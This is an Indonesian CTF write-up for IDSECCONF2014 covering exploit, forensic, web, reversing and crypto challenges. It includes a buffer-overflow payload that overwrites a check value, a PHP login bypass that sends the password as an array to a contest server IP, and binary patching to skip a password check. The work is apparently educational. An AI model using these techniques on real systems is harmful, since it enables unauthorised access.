You are on page 1of 27

IDSECCONF2014 CtF writeup by nganggur

Easy Exploit

.text:0804850C
.text:0804850C main

public main
proc near

; DATA XREF: _start+17 o

.text:0804850C

push ebp

.text:0804850D

mov

.text:0804850F

and

esp, 0FFFFFFF0h

.text:08048512

sub

esp, 30h

.text:08048515

mov

.text:0804851D

lea

eax, [esp+18h]

.text:08048521

mov

[esp+4], eax

.text:08048525

mov

dword ptr [esp], offset a25s ; "%25s"

.text:0804852C

call ___isoc99_scanf

.text:08048531

lea

eax, [esp+18h]

.text:08048535

mov

[esp+4], eax

.text:08048539

mov

dword ptr [esp], offset format ; "buf: %s\n"

ebp, esp

dword ptr [esp+2Ch], 0

.text:08048540

call _printf

.text:08048545

mov

eax, [esp+2Ch]

.text:08048549

mov

[esp+4], eax

.text:0804854D

mov

dword ptr [esp], offset aVal0x08x ; "val: 0x%08x\n"

.text:08048554

call _printf

.text:08048559

cmp

.text:08048561

jnz

.text:08048563

mov

.text:0804856A

call _puts

.text:0804856F

mov

.text:08048576

call _system

.text:0804857B

mov

eax, 0

.text:08048580

jmp

short locret_804859A

dword ptr [esp+2Ch], 0C0FFEE76h


short loc_8048582
dword ptr [esp], offset s ; "Mantap,flag: !"

dword ptr [esp], offset command ; "/bin/cat valid/flag"

.text:08048582 ; --------------------------------------------------------------------------.text:08048582
.text:08048582 loc_8048582:

; CODE XREF: main+55 j

.text:08048582

mov

dword ptr [esp], offset aTidakkkkkk ; "Tidakkkkkk!!!"

.text:08048589

call _puts

.text:0804858E

mov

.text:08048595

call _exit

dword ptr [esp], 1 ; status

.text:0804859A ; --------------------------------------------------------------------------.text:0804859A
.text:0804859A locret_804859A:
.text:0804859A

leave

.text:0804859B

retn

.text:0804859B main

endp

; CODE XREF: main+74 j

Dari kode diatas, program ini akan mengeksekusi perintah "/bin/cat valid/flag" (file yang isinya flag)
apabila nilai di [esp+2Ch] adalah 0C0FFEE76h (Bisa dilihat pada alamat 08048559)

Di alamat 0804852C, program akan mengambil inputan dari stdin lewat fungsi ___isoc99_scanf
dan buffer nya diletakkan di alamat [esp+18h].
Jumlah buffer 'normal' yang akan menampung inputan tersebut adalah 2Ch - 18h = 14h (20 karakter),
sehingga apabila input yang diambil oleh program melebihi 20 karakter, buffer pada [esp+2Ch] akan
dioverwrite.
Dan nilai dari [esp+2Ch] harus sama dengan 0C0FFEE76h jika ingin program ini mengoutpukan flag dari
file valid/flag.

Salah satu cara input dari stdin adalah dengan mengetikkan langsung karakter ke terminal.
Masalahnya nilai 0C0FFEE76h tidak bisa diketik langsung ke terminal. Terminal hanya memroses
karakter unicode dan bukan ASCII.
Jadi inputnya harus pake trik dari file kemudian di 'cat' filenya ke stdout, lalu di pipe ke programnya.

cat exploit | ./expl1

isi filenya adalah :

12345678901234567890v

20 karakter buffer asli, dan 4 byte buffer sisipan 76 EE FF C0

Easy Forensic,

Nyembunyiin object/text di balik image di pdf.


Solusi :
1. buka aja file pdf nya lewat pdf viewer nya linux. Adobe reader nya windows ga bisa nampilin teks yang
disembunyiin di balik gambar di pdf nya.
2. setelah buka file pdf nya, pencet aja ctrl+A buat nampilin flag nya

Easy Programming.

Kita dikasih deret 1, 1, 1, 3, 5, 9, 17, 31, 57, 105, 193, 355


Dari googling sedikit, didapat kalo deret ini adalah deret tribonacci dengan inisialisasi a,b,c = 1
Dan kita disuruh nyari pada elemen ke berapa dari deret tersebut yang nilainya :
1471338318398529007088445426.......833044527384388989361673409
Solusi : bruteforce.
Script python :
def fiblike(start):
addnum = len(start)
memo = start[:]
def fibber(n):
try:
return memo[n]
except IndexError:
ans = sum(fibber(i) for i in range(n-addnum, n))
memo.append(ans)
return ans
return fibber

fibo = fiblike([1,1,1])
for i in range(2000000):
s=("%s") % fibo(i)
if s[:10] == '1471338318':
print i
break

elemen tersebut berada di index 131338

Easy Web.

Easy web ini mengeksploitasi CSRF (cross site request forgery)


Bisa dilihat dari struktur html nya yang tidak menyediakan csrf token pada form method post.
Cara eksploitasinya adalah save file web nya menjadi html dan ganti url action pada method post nya

<form class="form-signin" method="post" action="http://74.120.223.237/web1/proses.php">

Clue selanjutnya adalah : Array

Target exploit selanjutnya adalah bermain dengan parameter POST nya.


Setelah mencoba dengan mengubah parameter passwd menjadi :

<input name="id" value="test" class="form-control" type="text">


<input name="passwd[]" class="form-control" type="text" value="$_FLAG">

Output dari html nya adalah :

Selamat Datang, test

dan di view-source nya, ada clue lagi : <!--clue: cobalah dengan user yang lain untuk mendapatkan flag->

Setelah mencoba dengan user : admin

<input name="id" value="admin" class="form-control" type="text">

ketemu flag nya :

Selamat Datang, admin


flag:mantaplah_br0_l4njutk4n

Disini kita bisa menyimpulkan, dengan mengganti input name password dengan array,
semua input user akan diterma karena semua password akan diload oleh script.
Jadi apapun input password kita, asalkan username nya benar, sistem akan menganggap inputan itu
valid.

Easy Reversing.

Disini kita dikasih binary EXE.


EXE ini adalah format EXE dari microsoft .NET
Salah satu cara buat analsisi .NET executable adalah menggunakan ILSpy (http://ilspy.net/)

Setelah dibuka dengan ILSpy, bagian yang menarik dari program ini adalah :

Disini ada 3 hal yang bisa kita lakuin :


1. Cari apa sebenarnya isi dari variabel text
2. Langsung keluarin messagebox yang isinya stringBuilder.ToString()
3. Patch programnya, jadi apapun string yang diinput, program akan menampilin message box
yang teksnya adalah Flag.

Untuk opsi 1 dan 2, kita bikin program yang sama, dengan kode yang sama menggunakan Microsoft
Visual Studio.

Hasilnya :

Password : ganteng2014
Flag : 9bd03cfdfe10124755e2a051288c6dda

Untuk patching, kita akan mengganti istruksi :

Instruksi brtue loc_314 (2D 13) diganti menjadi brtue.s

Alur programnya akan berubah menjadi seperti ini :

loc_339 (2D 00)

Jadi apapun string yang kita input, program akan menampilkan flag nya.

Easy Crypto

Kita dikasih base64 string


VGlkYWsgc2VnYW1wYW5nIGl0dWxhaCBtYXMgYnJvLiBkZWNyeXB0IGluaTogDQo2ODc0NzQ3MDNhM
mYyZjY0NmMyZTY0NzI2ZjcwNjI2Zjc4MmU2MzZmNmQyZjczMmYzMjM0NjkzMTZiNzEzNjc5NjM2ZjZm
Njg3MTZhNmMyZjYzNzI3OTcwNzQ2ZjMxNDY2YzYxNjcyZTZkNzAzMw==

dan ketika di decode, hasilnya :


Tidak segampang itulah mas bro. decrypt ini:
687474703a2f2f646c2e64726f70626f782e636f6d2f732f323469316b713679636f6f68716a6c2f6372797
0746f31466c61672e6d7033

String tersebut adalah hexstring dari sebuah string, dimana ketika didecode (http://www.stringfunctions.com/hex-string.aspx) hasilnya :
http://dl.dropbox.com/s/24i1kq6ycoohqjl/crypto1Flag.mp3

Setelah didownload, mp3 ini isinya adalah code morse.


Decode morse ini bisa lewat apps android Morse Code Reader :
https://play.google.com/store/apps/details?id=org.jfedor.morsecode&hl=en
setelah didecode, hasilnya : FUNM0RS3C0D3

Medium Forensic,

Kita dikasih file berupa snapshot dari server yang compromised.


Dari penelusuran, ada file menarik di directory /home/clude/ahay yang isinya disuruh cek log.
Hint dari web ctf nya adalah : penyerang nya berasal dari afrika.
Di directory /var/log, hanya ada 1 log yang menarik yaitu log dari apache2
Karna hint nya seperti itu, kemungkinan kita akan mencari pengakses web dengan ip yang berasal dari
negara afrika.
Nah, solusi paling gampang adalah filter ip dari access log apache, sort dan ilangin duplikasi ip nya terus
cari tau ip itu berasal dari negara mana.
Solusinya bisa diliat dari script medium-forensic.sh

#--------------------------------------------------------------#!/bin/bash
IP=$(cat ./access.log | awk {'print $1'} | sort -u)

cari () {
for X in $IP; do
I=$(echo $X)
echo "[+] IP $I berasal dari : "
C=$(geoiplookup $I | head -1 | cut -d ':' -f2)
echo "[+] IP $I berasal dari : $C"
done
}

yakin () {
read -r -p "${1:-Yakin nih? [y/N]} " response
case $response in
[yY][eE][sS]|[yY])
true

;;
*)
false
;;
esac
}

if [ $# -eq 0 ]; then
echo "[*] Liat semua IP"
yakin && cari
else
echo "[*] Cari IP dari : $1"
cari | grep -i $1
fi

#----------------------------------------------------------------------

Command yang dipakai :

Medium Crypto,

Disini, hint yang ada cuman dari filename aja "falsedottc"


Dari ekstension file, bisa ditebak kalau file ini adalah file TrueCrypt.
Jadi kemungkinan besar, file ini adalah partisi harddisk.
Jadi kita mount dulu filenya, step step nya :

1. yum install tcplay util-linux


2. sudo losetup -f falsedottc
3. sudo tcplay -m falsedottc -d /dev/loop0
nah.. disini TrueCrypt nya minta password. Tebakan pertama, passwordnya : idsecconf ternyata benar!
:p
4. sudo mkdir -p /mnt/tc && sudo mount -o nodev,nosuid,uid=1337,gid=1337 /dev/mapper/falsedottc
/mnt/tc
5. cuman ada 1 file di dalam partisi itu, dan filenya namanya flag.txt
cat /mnt/tc/* #flag.txt here_iam_rock_you_like_a_hurricane

Medium Reverse
Disini kita dikasih executable, encoded string, dan petunjuk key yang dipakai, executable nya adalah
program untuk mengencode string menggunakan key. Kita disuruh buat decode string
VLZHXPZNYRBXPMEB dan key untuk decode nya harus dicari sendiri (clue : key ada didalam encode).
Dari analisis program, pemanggilan fungsi untuk encode ada di

Dan fungsinya sendiri adalah :

Dengan menggunakan plugin Hex-rays disassembly, didapat :

Dimana yang menarik disini adalah, fungsi encode ini merupakan fungsi encode mod 26
c = (p + k) mod 26
Sehingga fungsi decodenya adalah
p = (c k) mod 26
c = ciphertext, p = plaintext, k = key

Dan ini code yang saya buat untuk decode string :

Setelah teks dan clue diganti oleh CTF lord nya, akhirnya level ini bisa terpecahkan. (asli.. ga nemu key
buat decode string pertamanya..)
To decode : WFGNEOFGEDQGE
Key : ABCD
Sehingga string asli setelah di decode adalah : WEEKENDDECODE

Bonus : Hard Reverse


Meskipun level ini ga selesai pas ctf, ane iseng ngerjain aja (pas ctf cuman dikasih sejam buat nyelesain
level ini.. ctf lord nya rada rada kejam keknya.. :p)
Singkat cerita, executable dari hardrev ini adalah sebuah server yang standby untuk menerima dan
mengirim string dimana untuk memulai proses kirim terima string ini, ada 1 kata pembuka yang harus
dikirim client ke server yaitu : ohmyweeekendplis\n
Setelah server menerima string itu, server akan mengirim 84 string random yang diencode 2 kali ke
client. Apabila client bisa mengirim balik decoded string nya (plaintext) maka server akan mengirim flag
ke client.
Call ke loop utama program :

Ini call yang ada di dalam loop main call.


sub_40109D adalah fungsi pengecekan string pembuka dimana apabila client salah mengirim string,
program akan berhenti.

Ini fungsi pengecekan kata pembuka :

Server HARUS menerima string ohmyweeekendplis\n dari client.

Selanjutnya, server akan mengulang proses pada sub_400ED2 sebanyak 54h (84) kali dan apabila return
dari fungsi tersebut selalu true, pada loop terakhir server akan membaca file flag dan mengirimkan
isinya ke client.

Di dalam sub_400ED2, ada 2 fungsi yang menarik yaitu sub_400CEC dan sub_400E58.
Fungsi di sub_400CEC, akan mengambil input string random dari program dan outputnya adalah array
dari integer sebanyak panjang string inputan, dan sub sub_400E58 akan mengambil input dari array
tersebut, setiap elemen dari array itu akan diconvert ke string, kemudian diencode dan hasil string nya
akan dikirim ke client.

Setiap karakter input, akan dikurangkan dengan 10 dan diappend dengan karakter 5Fh (_) sebanyak 2
karakter.

Snapshot pada fungsi sub_400CEC :

Di fungsi ini, ada 3 loop dimana tiap loop akan memroses tiap karakter yang ada dari string dan
mentranformasi string tersebut menjadi array dari bilangan integer.
Berikut code python untuk encode string :

def encode_part2(part2):
i=0
c2 = 0
c3 = 0
ln = len(part2)
arr = [0] * ln
j=0
while i < ln:
arr[i] = ((i << 4) + ln) ^ ord(part2[i])
c2 = 0
while c2 < i:
arr[c2] = arr[c2] ^ (~(arr[i]))
c3 = 0
while c3 < c2:
arr[c3] = arr[c3] + (~(arr[c2] ^ arr[i]))
c3 += 1
c2 += 1
i += 1
return arr

Dan untuk string decodernya :


def decode_part2(part2):
ln = len(part2)
i = ln - 1
c2 = 0
c3 = 0
arr = list(part2)
while i >= 0:
c2 = i - 1
while c2 >= 0:
c3 = c2 - 1
while c3 >= 0:
arr[c3] = arr[c3] - (~(arr[c2] ^ arr[i]))
c3 -= 1
arr[c2] = arr[c2] ^ (~(arr[i]))
c2 -= 1
arr[i] = ((i << 4) + ln) ^ arr[i]
i -= 1
ch = [chr(x) for x in arr]
return "".join(ch)

Flag dari level ini gak diketahui karna server buat ngetest nya udah dimatiin. Tapi dari hasil eksekusi,
nampaknya level ini berhasil ditembus.

Server :

Client :

Source code dari client bisa dilihat di test-client.py

You might also like